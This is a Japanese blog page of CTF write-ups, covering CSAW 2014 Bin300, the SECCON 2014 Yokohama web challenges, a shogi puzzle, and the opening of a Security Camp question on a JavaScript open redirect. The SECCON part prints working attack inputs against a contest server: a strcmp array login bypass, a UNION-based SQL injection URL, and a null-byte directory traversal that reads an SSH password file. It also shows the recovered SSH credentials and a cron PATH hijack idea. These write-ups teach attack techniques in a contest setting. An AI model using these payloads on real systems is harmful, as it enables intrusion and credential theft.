バランスを取りたい

よくCTFの記事を書きます

CSAW 2014 Bin300(2) weissman

0x13 + 9byteなchunkがたくさんあることからchunkの構造を推測し、データを読み込んでchunk情報だけを吐き出すスクリプトはすぐに書けた。
しかし、圧縮されていると思われるchunkだけどう展開したらいいかわからない。


jpegの画像はバイナリデータだしほとんど圧縮効いてないんじゃないか」と気がついて、とりあえず圧縮chunkの部分を0x00で展開するようなスクリプトにしてみたら一応画像として読み込めるようになった。


f:id:xrekkusu:20140922173850j:plain


ギリギリ読める。

key{I know How long it'd take me, and I can prove it}



SECCON2014 横浜予選Web Writeup

競技開始 (14:20)

FLAG1 (14:24)

スクリーンショットを撮るWebアプリ

HTML内に背景色と同化したリンクがあることを見つける

f:id:xrekkusu:20140908114715p:plain
http://localhost/private/

しかしlocalhost onlyと表示されアクセスできない。

スクリーンショットで/privateを見るとFLAG1, AdminLogin, ls.txtが見つかる。
改めて/private/FLAG1のスクリーンショットを取るとフラグゲット

SECCON{screenshotFromLocalhost!}

FLAG2 (14:26)

スクリーンキャプチャで/private内を覗くとAdminLoginというフォルダがあるのでアクセスして見るとログイン画面が出てくる。
中身はstrcmpに配列を渡す問題。
山崎さん問題なのにMongoだったらどうしようと思って括弧を入れたらログインできた
?user=aaa&pass[$ne]=aaa

SECCON{strcmpBypass??}

FLAG3 (14:33)

簡単なSQLインジェクションで当然データベースはSQLite
SQL文が select * from usertbl where (id LIKE '%[id]%');になっているので括弧に注意する。

http://10.10.10.35/private/AdminLogin/search.php?user=a%27or%201=1)%20union%20select%20pass,1,1%20from%20usertbl--


SQL内の括弧の存在に気づけるかどうかという点で面白い問題でした。

SECCON{IamSqlInjM@ST3R}

FLAG4 (15:14)

スクリーンキャプチャで/private内を読むとls.txtというファイルが見つかるので、
これを更に読むと/***MySSHuserPass.txtがあることがわかる。


このファイルを手に入れるのに少し苦労しました。
Stage3→4へ繋がると思い込んでいたので、FLAG3のあとどこかにローカルファイルを読める脆弱性が存在すると思ってずっと探してました。

見逃しがあるかもしれないと最初のスクリーンショットのページへ行って、スクリーンショットの画像URLを確認してみたところ明らかに怪しい。


ディレクトリトラバーサル発見


http://10.10.10.35/?image=../../../../***MySSHuserPass.txt%00
cedec / secconYkhm

% ssh cedec@10.10.10.35                                                                     
cedec@10.10.10.35's password:
Last login: Thu Sep  4 00:13:20 2014 from 10.10.10.15
[cedec@localhost ~]$ ls
FLAG4
[cedec@localhost ~]$ cat FLAG4
SECCON{PathTraversalIsMyFriend}

FLAG5

********チームメンバーとのSSHのプロセスkill対決が1時間くらい行われる。

その後終了20分前くらいに@kazu1130_hがパスワードを変えて********以外全員死亡。


競技終了後に答え合わせをしたらこの問題を解いている人がいないらしいことが判明しました。


答えとしては、
/etc/crontabを読むとPATH=.:/bin/..みたいになっていて、

cronに登録されている/home/FLAG5/myBatch.sh内では

cd /tmp
last -20 | grep pts | cut -b23-38 | sort | uniq -c | sort > tmp.tmp

となっているので/tmp以下でFLAG5権限のシェルスクリプトが動く(ということらしい)

cat /etc/crontabはしてPATH=.も見ていたのにコマンドをすりかえる発想がなかったのでだめでした。

SECCON2014 writeup

久々にCTFを本気でやった感じがします。

自分が直接フラグを打って得点した問題はDecode me!と詰将棋?で200ptでした。
あとはXSSのお手伝いとかあみだコードのリファクタリングなんかをしたりごはんをたべたりしました。

詰将棋

f:id:xrekkusu:20140719214743p:plain

CTFで詰将棋っていつだかのお正月の時間を奪っていったアレを彷彿とさせますが、よく見ると普通の詰将棋ではなく、銅、特、平といった見覚えのない駒とその動き方が書いてあります。


普通の詰将棋でも13手詰めはまともに解いたことがないのにいきなりヤバそうな問題を「将棋なら大丈夫だよね」とakiymさんから渡され焦る。

凝視し続けて1時間近く経った頃には脳が最適化されてました。

将棋の座標表現で書いてますが、この通りに駒を動かして駒が存在する場所の番号をカンマ区切りで打ち込んでおわり。

Decode it!

今回のやるだけ問題

$ nkf -r encoded.txt

メルマガできちんとヒントが出ているので「なるほどね。」って問題。

SecurityCamp 2014 Web security Write-up

ネットワークセキュリティの問題はかなりWrite-upが上がっているのにWebはそんなに見ないなと思ったので解いてみました。


まずは応募用紙を見てみましょう。
http://www.ipa.go.jp/files/000038877.txt


5. 以下のJavaScriptのコード断片は、とあるWebサイトで利用されていたものです。
これを見て気付いた点について、自由に書いてください。

    function getRedirectPageUrl(){
        var url = location.hash.substring(1);
        try{
            if( url.length === 0 ) return "/";
            url = decodeURIComponent( url );
            if( !url.match( /^https?:\/\// ) ) return "/";
        }catch( e ){
            console.log( "invalid url" );
        }
        return url;
    }

    /* .... */    

    var url = getRedirectPageUrl();
    location.href = url;

続きを読む